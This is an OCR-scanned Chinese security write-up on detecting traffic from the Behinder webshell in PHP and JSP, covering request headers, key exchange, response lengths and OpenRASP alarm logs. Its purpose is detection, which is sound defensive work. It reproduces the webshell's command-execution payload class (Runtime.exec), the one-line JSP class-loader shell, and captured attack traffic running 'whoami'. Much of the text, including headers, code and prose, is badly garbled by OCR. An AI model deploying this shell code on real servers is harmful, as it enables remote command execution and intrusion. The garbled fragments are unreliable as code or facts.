2KEg, MAIMZIER (88)

X2 B SERA Y5 51 B E.

£3FEIT 2086 N, FRTRIERTIK 8 .

0x01 BIS

AREXER (KB, MNTRIEKND) &R, BIMKEHEY E—RYERERREE, RARANGA

PHP WRARMFHEERRR, HEALERAECIESIRAIHHEREENGE. MeakBfNa
— N E—RXETHERREFIERIEREIRNER, BEENHEEX] "7ki§"JSP higAl ASP iR
AIBER FPRIZIRYEIRE A E TN / HUEERYTT B,

0x02 iBFER
AETHEEINE—T PHP, JSP, ASP A "/Ki8" HOIEFAHEE, BERRIEMEXERRTILIS

Fr—mXE: K8, MAMRIESD

BREAZTHZOFAA 1 IDI £23%b



O THADCIRAYAY UNL =2%X
YL :

AT, Webshell BRAZZRE A pass, FHHEHSEEN 3 (FEVIEE.
JRAR :

CET /shell.php1pass=593|HTTP/l.1

Content—type: application/x—www—form-urlencoded

User—#Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6. 1; WOW64: Trident/5.0; SLCCZ2. .MET CLR 2. 0. 50727 ;
.NET CLR 3.5.30729; .NET CLR 3. 0. 30729; Media Center PC 6.0 InfoPath.3; .MET4. OC; .NET4. OE)

Host: 192. 168. 81. 130

Accept: text/html, image/gif, image/jpeg, *, q=.2, */*% g=2

Connection: keep-alive

IEER -

GET fshel1.phd;;;ﬂlul’ﬂJUOhU]&?EhllOL=CBGuQLZSpaSS=FLF'FS&IIBFEHZR=ESZAE&C'|'HHHU=p1f‘13R6F&EAknBR=nYGtO HTTP/1.1 |
Content-type: TITAtion; X-wwW- Torm-ur Iencoded
User-Agent: Mozilla/5.® (Windows; U; Windows HT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33
safari/534.3 SE 2.X Metasr 1.0

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2

connection: keep-alive

header #fJ Content-Type
YFAIE :
GET FeRipla&iER Content-type FE, FEHASEE.

JRhR:

[GET /shell. php?pass=593 HITP/L. 1



[Lonteni—type: appllcallon/X—WWw—IOrm-urlencoded |

User-Agent: Mozilla/5.0 (compatible, MSIE 9.0, Windows NT 6. 1; WOW64. Trident/5.0; SLCC2; .NET CLR 2. 0. 50727,
.MET CLR 3.5.30729; .NET CLR 3. 0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4. OE)

Host: 192, 168. 81, 130

Accept: text/html, image/gif, image/jpeg, *. q=. 2, */* q= 2

Connection: keep-alive

{2 oshi:

GET &K

GET /shell.php?nLxqrisFhQWus&qHUYLQ=AAUYTZ 2&pass=wkp(3k&0 IchasMaskafEDFuSg=C55M08&vbz foeF=cpUdyC HTTP/1.1

User-Agent: Mozilla/5s.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.8 safari/s34.12
Host: 192.168.81. 138

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

connection: keep-alive

POST i&3K:

771db3c 5a@eabd6aP0osT /shell.php HTTR/1.1
[[Content-Type: text/html; charset=utf-38 |
Cookle: PHPSESSID=n3832119r192153b1fcg739j7ps; paths/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Cache-cControl: no-cache
Pragma: no-cache
Host: 192.168.81.130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1068

header 5989 User-Agent
HRHAE :
AE 17 1MRIA B9 User-Agent,

JRhR:



Content—type: application/x—www—form—urlencoded

User-Agent: Mozilla/5.0 {(compatible; MSIE 9.0, Windows NT 6.1, WOW64, Trident/5.0; SLCCZ; .NET CLR 2. 0. 50727, .NET CLR
3.5.30729; . NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3: .MNET4. 0C; .NET4. OE)

Host: 192 168, 81. 1350

Accept: text/html, image/gif, image/jpeg, *, g=. 2, =%, =2

Connection: keep-alive

GET /shell.php?pass=593 HTTP/1. 1 ﬂ

fEo5hi:

2020 =45 #HRY Firefox 75.0:

ke =Hhudre i . : g Bpig JZ59=HUulRSQ&V IMHTXF=2HvTH HTTP/1.1 f’

e A H 20K~ ! L i
ser-Agent: Mozilla/s.e (Windows NT 6.1; Winoea;
AGSCE 197, 16, 81. 130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
connection: keep-alive

2019 & 11 B’&xf#AY Chrome 78.0.3904.108:

GET_/shell.php?fvc?s=1vS50f2 1&rcMLP ry=tpthyWn&DiIb8=bIumSEpass=IyMUNNhEkEdero j=8GfgUlRfo20L=NBhtx T HTTP/1.1 i‘
User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.9.3904.108 safari/537.36 |

Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2

connection: keep-alive

header HgJ Accept

BHIE:



Accept FEENEIEIEE WE.

[ :

GET 53k :

GET /shell.php?fvc7s=1YS0f21&rcMLPry=tgthyWn&DiIb8=bIudmSEpass=IyMUNNhEKESer) j=8Gf gUARTO20L=NBhtxjT HTTP/1.1
User-Agent: Mozilla/5.0® (Windows NT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904,108 Safari/s37.36
Host: 192.168.81.130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

POST i&3Kk:

5¢95e7d3906724bbP0ST /shell.php HTTP/1.1

content-Type: text/html; charset=utf-g

Cookie: PHPSESSID=65tont4oq22cgsgzh2oc7ancr2; path=/

User-Agent: Mozilla/s5.@ (Windows NT 6.3) Applewebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/fs37.36
cache-control: no-cache

Pragma: no-cache

Host: 192.168.81,130

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2l

Connection: Keep-alive

Content-Length: 1068

1B :
GET 153Kk

GET_/shell.php PBRme2=YuaWSZA&SAF T8c=tLA6hr&pass=ASE44kD&1pK iX7=0403qGHET A I vI=gyMHMS HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=-0.8

User-Agent: Mozilla/5.® (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/g80.0.3987.132 safari/537.36
Host: 192.1628.81.130

connection: keep-alive

POST iE3K:



afebads784676940P05T /shell.php HTTP/1.1
Content-Type: text/html; charset=utf-g
je: = mii i2sf i H th=/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;
ser-Agent: Mozilla; 5. 3 Linux X pple 1 . > 11
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.81.138
connection: keep-alive
Content-Length: 1068

q=0.8
cko) Chrome/80.0.3987.132 safari/537.36

T IRETHIREN

ot
F

EDFRA GET FzREEHRYETE.

JRhR :



GET /shell. phpfpass=593 HTTP/1.1 =
Content-type: application/=-wew—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWEd; Trident/5.0; SLCCZ; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .MNET4.0C; .NET4. OE)

Hest: 192, 168. 81. 130

Accept: text/html, image/gif, image/jpeg, *. q=.2, */*; q=.2 ‘"‘—\ %-—-;ﬁ"\ﬁﬂi’ﬁj%ﬁ

Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 02:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.23 PHP/S.5.38

X-Powered-By: PHP/S.5.38

Set-Cockie: PHPSESSID=cns3060cjkd6337anrIvsqatss. path=/

Expires: Thu, 19 Nev 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, pest-check=0, pre-check=0
Pragma: no-cache
Centent-Length: 18 1 Ay v rier
Keep-Alive: timeout=5, max=100 % {?\EE%] IE IEI H{]%‘%H
Connection: Keep—Alive
Content=-Type: text/html

feBEF4236dd7d922GET /shell. php?pass=362 HTTP/1.1

Content—type: application/z-wew—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWEd; Trident/5.0; SLCCZ. .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .MNET4. 0C; .NET4.OE)

Hest: 192. 168, 81. 130 . — v, Lb—
Aceept: text/html, image/gif, image/jpeg, *; q= 2, */* q=2 - %_.{}\ﬁﬂ:i 'u_r‘éﬁ

Cennection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 09 Jul 2020 08:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S,5.38
X-Powered-By: PHP/S.5.38

Set=Cookiec: PHPSESSID=djmtkkScj2f8vsbudgfdifqel2; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GHT —_— Lol v e
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check= %._. )}L\:HE%EWIE E] Eq %H
Pragma: no-cache

Content-Length: 16
Keep-Alive: timeout=5, max=89
Coennection: Heep=Alive
Content—Type: text/html

&

E

0161a6785f11Te35POST /shell. php HTTP/1. 1

ply gl v
Emtant-Type: amlioatimfxwform-urlencgded ‘T—'——__—'__— EFEWE%POST@‘ -

4t L PR ARRAsTR A sA R A ARA e ) maes A Al —

i A i Mam iai mmmew A =2

{2 05hi:



Yireshark - daks TCP % (tcp.stream cq 0) - KEFERE =10] %]

GET [shell.php?0m2F toS=sXpSH1z &3LFbYMA=0XuvidoddeGCBZp=ua0snIifpass=eydddMEoF gDM=6IVIAGEA92 Ydpb=tMc dokaHDVBEM=N1KcqM HTTR/ :l
1.1

Content-type: text/html; charset-utf-g

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*:q=0.8

User-Agent: Mozilla/5.0 (Windows HT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/f537.36

Host: 192.168.81.130
connection: keep-alive ‘\\

HTTP/1.1 200 0K o Pﬁ:ﬁﬂi?ﬁ%ﬁ

Date: Sun, 12 Jul 2020 62:13:11 GMT

server: Apache/2.4.23 (Win32) 0penssL/1.8.2j PHP/5.5.38
X-Powered-By: PHP/S.5.38

set-Cookie: PHPSESSID=bbagmcal3csejliqldog2ljhiz; path=/
Expires: Thu, 19 Hov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 16

Keep-Alive: timeout=5, wax=100

Connection: Keep-alive

| |Content-Type: text/html

9dcaesccd@s9394cposT /shell.php HTTP/1.1 %—U\ lrﬁ |ﬁ] ﬁ‘jfj]ﬂ o

Content-Type: text/html; charset=-utf-g

Cookie: PHPSESSID=bbagmcdl3cs6jllqldoq2ljhi2; path=/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Windows HT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/78.8.3924.108 safari/s37.36
cache-control: no-cache

Pragma: no-cache

Host: 192.168.81.130

Cconnection: keep-alive

content-Length: 1068

2q6c kgebats 7qGdd12BUz0LKwNxuo+deh? 3P kg TVSBPHDMX

3L2YqkALc sP37BWS yIBceuPu09DBt2s3KCvoedKki05fBYEENSY 15c85a3bhHCKITF JULSHXq3NBY S v 1hKz c KBDOBADGU 7 I7RMASr WK aDF + 14VYEDF RpUZBuU+ 2
wYpvPzozeykmZEHgvhCxkOOZmYWE KXolHCYNHIB I8 jqEpLE ieDR3bqlaon9cA0N + xeAUeAN2 IXCSx iWAOY rkMx 1d055+ 3L 5R0F 3RVIE2 IBb6Gm + 2 +4FFHuu
cxS2ySApWf 1IrRSzv7b/z3ek /ammx tul T yWiyakB34T1/ ++/A+Gvaumy J+fFvHVEyx072/ E4Wt33130Dykgh70uiayoTPgxaz vex/

CHpNB Jdw Iz 8rosEKnS6 1vps jhvppppuCGADC LVEhzAQPe JEPTSTcaUms LSOk /

nglxﬁéh(qsqr:lTbuxlDz'-.’lsanp tDGteLa IneN.A:qu\f)Pc uDMZl\rg,a.TtuadImz izz lhI?EzhS'th?PqKPLU:ngUFIupHH SwSTT5TSz kkoauvCkpaFBLVZ SEF -

B e ) I S o el

response FiR[E|1Z4H
YL :

ZIRREIREREIA 16 (R ZUREEIZE iR, Content-Length EEA 16.



JRhR:

HTTP/1.1 208 0K

Date: Sun, 12 Jul 2020 82:13:11 GMT

Server: Apache/2.4.23 (Win32) Open5sL/1.9.2j PHP/5.5.38
X-Powered-By: PHP/5.5.38

set-Cookie: PHPSESSID=bbagmcal3csejllqldoq2ljhiz; path=/
Expires: Thu, 19 NHov 1981 08:52:00 GMT

content-Length: 16

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

adcaeBccd859394cPoST /shell.php HTTP/1.1

{Eo5hi:

Biahm):

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

«)> C @ © | & 192.168%. 81. 130/shell. phpPpass

n

My info is here.

REM:



GET /fshell. php?dTXgi=T0ZHVDE0dmZn=ctvhkZEZoxD6=Z2ZbCfVEpass=DhT7y1XrkopdRreS=UFgEr60& jndXy=RZ1Xv HTTP/1. 1
Content—type: text/html; charset=utf-8

Accept: text/html, applicatisn/zhtml+zml, application/xml; q=0. 9, image/webp, */+.q=0. &

User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecke) Chrome/78.0.3904. 108 Safari/537. 36
Hest: 192, 168, 81, 130

Cennection: keep-alive

HTTP/1. 1 200 OK

Date: Sun, 12 Jul 2020 03:18:15 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S.5. 328

X-Powered-By: FHF/S.5.38&

Set=Cookie: PHPSESSID=j5b24blf28ehqrldqqbuloifhd; path=/

Expires: Thu, 19 New 1981 03:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Fragma: no-cache

Content-Length: 178 <

Keep=Alive: timecut=5, max=100 - %
Connection: Keep-Alive content Lengthiﬁ
Content=Type: text/html

<!DOCTYPE html>
<html>
<head>

i <title’Infol/title> / @1¢?ﬁ}“,ﬁ.

{body>

My infe is here, <!--¢{a id="post_js_url” href="/js/58fbe083bold42ed. min. j&"> Infolfad-=>
</body>

</html>

POST /shell.php HTTP/1.1

Content-Type: text/html; charset=utf-28

Cookie: PHPSESSID=jSb24blf28ehqrldqqbuleifhd; path=/

Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/webp, */*; q=0. &
User-Agent: Mozilla/S.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTHML, like Gecke) Chrome/78.0.3904. 102 Safari/537.36
Cache-Control: no-cache

Pragma: no-cache

Hest: 192,168, 81. 130 e =
Connection: keep-alive 'E:Fliﬁﬁﬂ:ﬁn j]u L
Content-Length: 1068

Vpbu05xo1Bg8nVT xgMEDiDIy YyKKkBux ibr i COVKG1 23 f YSOKf yAmydCuyaghK62 YP+FHOUFEDj ¢ TWE JOmQSdZEc qu j5r gnNsaoyrhiz JKaF 9GQLnaCLAWCh f S5 Y xxSkkCXgzS
sVeBuavHLt 0INz3eVEgQU IFPRGDTeV3RcDuml RTUf vxcb IM105avdd 1 Ty +t cNX 20U o/ euc JE T/

ToEGTXMAUVELEXtSg IR22£+bySEddETIAFISFE] iWa5+1q3z+2wb1b T xHkBQwS Sg SokWvDUlg SDWyuuhnRNkCwTt LSE2k1315g JThpRtnN3Tzs0s zh 1 THSUGke OVKWCh T IHG AT
JaCbANZRm+UaloduSdkDEISXNTE0ye N1t ydD2C21 1YXMO&cvQS_T.-"hB'\’!’vjMIkOQQHsqua&ffeSjSDO?;KI:IT:Bf

B e R T wr 3 wmam L IEAT AR AT A s

5 EPon Bl 14 BT F4. 5 e )

header 8 Cookie
I

Cookie FHETTIFFENAY Path 2HNE,




[ :

feb6f4236dd7d922GET /shell. php?pass=352 HTTP/1. 1

Content—type: application/x-www—form-urlencoded

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWGd; Trident/5.0; SLCCZ; .NET CLR 2.0.50727; .HET CLR 3.5.30729; .NET
CLE 3.0.30729; Medis Center PC 6.0; InfoPath.3, .NET4.0C; .NET4.OE)

Hest: 192, 168, 81. 130

Accept: text/hitml, image/gif, image/jpeg, *: q=.2, #/%; q=.2

Connection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 09 Jul 2020 08:43:13 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/S.5. 38
-Br. PHP/S. 5. 33

ApITEs] i, H

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 16

Kesp=Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html

0161a6755f117e95P0ST /shell. php HTTP/1.1

Content-T :_applicat 1mfx—ww—forn—urluncoded

; . Windows NT 6.1; WOWEd; Trident/5.0; SLCCZ; .NET CLR 2.0.50727; .MET CLR 3.S5.30729; .NET
CLR 3.0. 307‘29 sz:a Center PC 5..0 InfuPath 3 .NET4. 0C; .NET4. OE)
Cache—Contrel: no-cache
Fragma: no-cache
Host: 192, 168. 81. 130
Accept: text/html, image/gif, image/jpeg, *. q=. 2, */#%, q=.2
Connection: keep-alive
Content~Length: 1068

IEBURRIRER



HTTP/1.1 260 0K

Date: Sun, 12 Jul 2020 ©9:23:56 GMT

server: Apache/2.4.23 (Win32) OpensSL/1.8.2j PHP/5.5.38 .
X-Powered-By: PHP/5.5.38 " 4
Set-Cookie: PHPSESSID=bAj7dpbtpujt7772khjtvaocle; path=/ | 4"/_. SEt LOOklqu‘ﬂTPath
Expires: Thu, 19 Hov 1981 @E:52:00 GMT

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

content-Length: 178

keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

<IDOCTYPE html>
<html>
<head>
¢<titlerInfoc/titles
</head>
<body>
My info is here.<l--<¢a id="post_js_url® href="/js/efebozsafdbedido.min. js">Infocs/ar-->»
</body>
</html>
POST /shell.php HTTP/1.1 . R X
Content-Type: text/html; charset=utf-g8 *___________——-%%fjEﬁﬁ%ﬁinCOleeZ:ﬁ%Path
Cookie: PHPSESSID=baj7dpbtpujt7772khjtvaacle
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/s.® (Android 6.@; Mobile; rvi6g.0) Gecko/68.0 Firefox/68.0
Cache-Control: no-cache
Pragma: no-cache
Host: 192.162.81.130
connection: keep-alive
Content-Length: 1068

afap7uT jfoady2MoyZDUU0 INBSsakf tkkzXR+PERZ91g jDxpY +OFYUP3D/ EWviedLzbNS 1ah6bf Dy 101PpSHEABOC TXAmb koWl pmA OV Cyd/ X HSRZpF tsu/
Wpo/ YuGG2AZPC7XR2ZVY6Sa9RyDB7pK 11 rMAESZ 7EvBVyM1fW78xr2 5636gvpnp tyohZye/

bt P A A Tl AL TR o U e i b AT o I B A 08 = B PSRl et 4T 8 PPV e o — T I T P TR T AR S T BT APE T A T

0x03 JSP 7=

Webshell 83 RIE

D24l mr———— i~ =Ll sas 1 [ [ TN L7 AL ] e

LI



B75E N JSP iRAY Webshell 1585, KINEIEIH b

¥
public Class

return =

ecodeBuffer(request.getReader().readline()))

A LEENSEEPin AR F BRI, Z/BEBAT equals BBE, equals EREENIA
79 Object BIEEL, ELURANESHINEIbLE, 7 JAVA KIBHIEEERNAIREL, FRLED
Webshell HEERABLE.

BATE T EFiRPEEXRNE, BB getData RECRIREUAIXRIETE -



658 }
659

0=

A Utils. Java 2

N I e e e T e Ty a2

public static byte[] getData(String key, imt encryptType, String className, Map<String, String» params, String twpe,

byte[] extraData) throws Exception {

562 byte[] bincls;
563 byta[] encrypedBincls;
Hhd if (type.equals(®jsp")) { -
BES classhName = “net.rebayond.behinder.payload.java.” + classHame; 3 #\ x ?
566 bincls = Params.getPorawedClass(className, params); g ’]%'C“ld \-%jg H ;E"ﬂ
Syl if (extraDats l= null) {
B6E bincls = CipherUtils.mergefiyteArray(bincls, axtraData);
50 }
570
571 encrypedincls = Crypt.Encrypt(bincls, key); 4 AESJJHLE_.:
572 String basedEncryBincls = Basedd.getfncoder().encodeToString{encrypedBincls);
573 gl return basedEncryBincls.getBytes();
; 4
(0 Wariables i % Breakpoints 47 Expressicns 88.3964%&%
Hame | ¥alue |
o+ ne methed return value
m o key “a3fbfel92693220° (ld=116)
@ encryptType 1]
@ @ classNane “net. rebeyend. behinder. payl ead, java. Cad” {id...
® @ parans LinkedHashMap<E, V> (1d=89)
® @ type " jsp” (1d=11T)
@ extralata null

getParamedClass EREIIGIL NFTHRBAIREREL:

0 Params. Java B
22
23= public static byte[] getParsmedClass(String clsName, Final MapeString, String» params) throws Exception {
24 ClassReader classReader = new ClassReader(clshame); T ik L~
25 Classhriter cw = nes ClassHriter(l); }”FHAS\'[*Ex’ld'CIaSS%
26= classResder, acceptinen ClassAdapter(cn) { N P v
7= publie Fieldvisitor visitField(dimt argd, String filedMame, String arg2, String argd, Object argd) { jgr%"lj E_E-‘[', ﬂ:lﬁﬁﬁﬁ
28 if (lparans.containsKey(filedName)) {
24 return super. visitFleld(orgd, filedWame, argl, argd, argd);
30 ¥
31 raturn supar.visitField{argl, filedName, arg2, argl, params.get{filedName));
3z
3z 3. @);
34 return cu. toBytebrray();
s }

WEERLFT5R5AY Cmd 35, HA cmd S¥0HTaSHIFRTE:




14 1mMPOrt Java.utll.Hasnrmap;
15 dimport java.util.Map;

16

17 public class Cmd {

18 public static String cmd;

19 private ServletReguest Reguest;

20 private ServletResponse Response;

21 private HttpSession Session;

22

238 public boolean equals(Object obij) {]

24 PageContext page = (PageContext) obij;

25 this.Session = page.getSession();

26 this.Response = page.getResponse();

27 this.Request = page.getRequest();

28 page.getResponse().setCharacterEncoding ("UTF-8");
29 Map<String, String> result = new HashMap<>();

32 try {

31 result.put(“msg”, RunCMD(cmd));

32 result.put(®status”, "success");

33 try {

34 } cateh (Exception &) {

35 a.printStackTrace();

36 }

37 } cateh (Exception =2) {

38 result.put("msg"”, e2.getMessage());

39 result.put(“status"”, “success");

49 try {

41 } cateh (Exception e3) {

42 e3.printStackTrace();

43 }

44 } finally {

45 try {

a6 ServlietQutputStream so = this.Response.getOutputStream();
a7 so.write(Encrypt(buildlson(result, true).getBytes(StandardCharsets.UTF_8)));
48 so.flush();

49 so.close();

50 page.getQut().claar();

51 } eateh (Exception ed) {

52 ad.printStackTrace();

53 }

54 }

55 return true;

56 i

57

sge private String RunCMD(String cmd2) throws Exception {
EE] Process p;

60 Charset osCharset = Charset.forMame(System.getfroperty("sun.jnu.encoding”));
61 String result = "%

62 if (cmd2 == null || cmd2.length() <= @) {

63 return result;

64 )

65 if (System.getProperty(“os.name").tolowerCase().indexOf ("windous") >= 0} {
66 p = Runtime.getRuntime().exec(new String[]{"cmd.exe™, “/c*, cmd2});
&7 } else {

68 p = Runtime.getRuntime().exec (cmd2);

69 }

78 BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
71 String disr = br.readline();

72 String result2 = result;

73 while (disr l= null) {

74 String result3 = result2 + disr + “\n";

75 disr = br.readLine();

is result? = result3;

77 1

78 return new String(result?.getBytes(osCharset));
79 }

20




BJLAEZ], Cmd £ equals REEE Y, WEBFIERT RunCMD ., i RunCMD LfRmt2
{5 Runtime.getRuntime().exec FUTER S S, FBHHIR

header Y Content-Type

JSP IRANEERIAHME, ZFisaYiEkE 4RI Content-Type J3 application/octet-stream , &
BREFIRERNAFTER. NRERBUAEXRWS, TEA—MRIEEAIEIAFHIE,

84dbe 134255d4450P05T fexamples/shell. jsp HTTP/1.1

content-Type:[ application/octet-stream |

Cookie: JSESSIONID=EADFDS2FBOBFFEASFFF26FFAG3785112

Accept: text/html,application/xhtmlexml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/80.0.3987,132 safari/
537.36 OPR/67.0.3575.79

Cache-Control: no-cache

Pragma: no-cache

Host: 192.168.81.130:8080

connection: keep-alive

content-Length: 8300

UYHUZHNAQSUA 1XWSHGI2P /
Rx766EMCheecdd sLHCvX7oDK v3B+yDe OW+ sxAqT 0+ Zs IUNERHG JulnihkBEN IrRP y f fmmYKu+vudsglravBve JyZWD+ tdz Y6tHr1CsCZkKUbS kbutUy ftFECR

1'%&/%‘\&% .

POST F/=ialAT{ERCs Content-Type {EX "text/html; charset=utf-8" 5& "text/x-
www-form-urlencoded; charset=utf-8" LAz tal,

& Webshell RROCISRERZISE 7 —24THIEEE, FrLASRE BRI EIK AT,

odeBuffer(request.getReader().readline()))




IESURRIZER :

POST iE3K:

b29199ftda3{79a5P051 fexamples/shell, jsp HTTP/1.1
=F A4 7 AGCD9OBBEEBY
Content-type: text/html; charset=utf-a
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=-0.8
User-agent: Mozilla/5.0 (Windows NT 6.3) AppleWebkit/537.36 (KHTML, like Gecko) chrome/78.0.3904.108 safari/s37.36
cache-control: no-cache
Pragma: no-cache
Host: 192.168.81.130:2080
connection: keep-alive
content-Length: 8300

HZ+Dpb&ibDF JBUOPBBC JZTtMATMANN leWeDAXkVY TyKf/

ckoxpdzdAjfoyxool RIT2RPgibNNa6 vyoebUboBn8dguTabmkxZ 9bB6sUiYadh+8NsMg3 19FcdC+4 1hBKAtORe IMEQrD7Cx 2K 2z X2KH XX JRZUL T CGNUMSVES 5w
qvriazkEHsakuSgppMetGe rCsMIvEWLPIBGIMI 1 jwwXEPZ29X9udCa/ 1+my3 Inn/U/AWtf TCoJeeUWfunCCdpt jREQEf yxD/Aptx/HEDseGKawriklmM/
V2H2WBY TBGYVEWz ZULQNpBhx Dy tuiaqddn8w3svdOBIEWjRUSWTU+YDOSUtMCVTWeRHEBSWPZb6 JpyDFVAKSkVeB3Mz £ Tz iPUMBgoWz AShYRY 7 xUwwc FAJIT0gE
TCPAH9CqQy j2qWXwGOsTTa IbLI.M."F SMOWTmOdvPIXKZ 114 §fg532 tdmB1 vehaCnu94uT vIZ 7H6bTSKMMoSm 1L DA Guuy kg FXoqxWOK vEZ xMAMTK3cpEkoiRTKZI3a

BhVEMATE /3 Ans e hi 1000 oW E D uw 153 ambe i i dasni 3 0w 1ele a3 Piin Fiihd gt Thie e L s f

XJ#, RASP
H48 RASP?

RASP 335 Runtime application self-protection, BPSCRTRM BRI, B2 —FEhTEIN
RAZE2FRPRAR, BERIFERGRE—HENZINEEF N BEEFRS BesC
fEr=eE, SENAEFESEERFAIFEN, ANAEFBEEREMNNENATEALT
TR ETLUH T B s E B E N X HTHI .

R

IR SHIARZ =, HAPLRERZAIFEIRE I OpenRASP ., OpenRASP ZrTLAREM kS
IE89, ANie Webshell 20{a/%232Z5/2, OpenRASP ETFapS$H11TaIVE AR B KIS :



No.4 JSP defineClass 5[]

REHB MRS NSRRI 1T, HohJSPHAIET BiE Y ClassLoader + defineClassfrizsktMevalisit,

new U(this.getClass().getClassLoader()).g(c.doFinal{new
sun.misc.BASEGDecoder().decodeBuffer(request. getReader().readline()))).newlns
tance().equals(pageContext);

EOATRSAESTUAMER), MEEIWAFKIDSEHATER, (EXRFERMAAEIOpenRASP, REAHBESIEIH(E (%3 999-event-logger &
IR ERIE) -

[event-logger] Listing directory content:/
[event-logger] Execute command: whoami

java.lang.ProcessBuilder.start

net.rebeyond.behinder. payload. java.Cmd. RunCMD
net.rebeyond.behinder. payload. java.Cmd.equals

[, Rl HAARIABIY oS P TRERERAIAES

java.lang.ProcessBuilder.start
...net.rebeyond.behinder.payload. java.Cmd. RunCMD
net.rebeyond.behinder. payload. java.Cmd. equals

|, TRHEHAISPINTTY, RBEFRRISIE, RINBTRRIHERTUCIMSRE ), |ERIRATMRRISHEY 2019-0703-1600 B85
thiR,

1B FERAWAF, OpenRASPHH T IDCAEBIEaEBIAF S EENAE, LBESEEINGE HETRI, HEOREVOHERATHINIE,
OpenRASPHAARTLMRIBRIFHTAITIGR, EATOpenRASPETIEIHER T 13 - RBIREEESS (R | AFBPETHSITIRRIER
5 LEUFHIWebShell,




hah~ XA T REEZFinfUBAR, MALRNR], BRBAIRAREHEESS B

EE Y

e

FRET "WKi8" &R Webshell [F1z17ap<$ whoami B, EEFEY OpenRASP Fi&1T,
I LATE

tomcatroot/rasp/logs/alarm/alarm.log X4 &EFIEFZHE:



“attack_params”:{"stack”:["java.lang.ProcessImpl.\u@@3cinit\u@@3e(Unknown Source)”,
java.lang.ProcessImpl.start(Unknown Source)™,
“java.lang.ProcessBuilder.start(Unknown Source)”,
“java.lang.Runtime.exec(Unknown Source)”,
"java.lang.Runtime.exec(Unknown Source)”,
"net.rebeyond.behinder.payload. java.Cmd.RunCMD(Cmd. java:66)",
“net.rebeyond.behinder.payload. java.Cmd.equals(Cmd.java:31)",
"org.apache.jsp.shell jsp._jspService(shell jsp.java:136)",
.apache.jasper.runtime.HttplspBase.servic ttplspBa java:71)",
javax.servlet.http.HttpServlet.service(HttpServlet.java:733)",
"org.apache.jasper.servlet.lspServletirapper.service(JlspServletWrapper.java:é
g.apache.jasper.servlet.lspServlet.servicelspFile(JlspServlet.java:386)",
apache.jasper.servlet.lspServlet.service(JlspServlet.java:330)
